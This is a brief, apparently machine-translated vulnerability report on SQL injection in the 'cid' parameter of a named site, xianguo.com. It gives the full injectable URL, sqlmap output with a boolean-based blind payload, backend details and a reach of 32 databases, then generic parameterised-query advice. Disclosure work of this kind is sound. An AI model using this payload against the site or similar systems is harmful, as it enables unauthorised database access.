An SQL injection vulnerability exists in a site of xiaguo Network (involving 32 databases)

An SQL injection vulnerability exists in a site of xiaguo Network (involving 32 databases)

An SQL injection vulnerability exists in a site of xiaguo network.

Http://m2.xianguo.com/homeindex/list? Cid = 1 & tagid = 100_33 injection point: cidsqlmap Verification

Sqlmap identified the following injection point (s) with a total of 59 HTTP (s) requests: --- Parameter: cid (GET) Type: boolean-based blind Title: mySQL> = 5.0 boolean-based blind-Parameter replace Payload: cid = (SELECT (case when (1315 = 1315) THEN 1315 ELSE 1315 * (SELECT 1315 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END )) & tagid = 100_33 --- web server operating system: Linux Ubuntuweb application technology: PHP 5.5.9back-end DBMS: MySQL 5.032 Databases

sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:---Parameter: cid (GET)    Type: boolean-based blind    Title: MySQL >= 5.0 boolean-based blind - Parameter replace    Payload: cid=(SELECT (CASE WHEN (1315=1315) THEN 1315 ELSE 1315*(SELECT 1315 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&tagid=7_31---web server operating system: Linux Ubuntuweb application technology: PHP 5.5.9back-end DBMS: MySQL 5.0

 

 

Solution:

When constructing an SQL query, use parameterized query and validation input to perform a comprehensive security check or filter on user input data. Pay special attention to check whether the query contains special HTML characters. These checks or filters must be completed on the server side. We recommend that you filter common dangerous characters.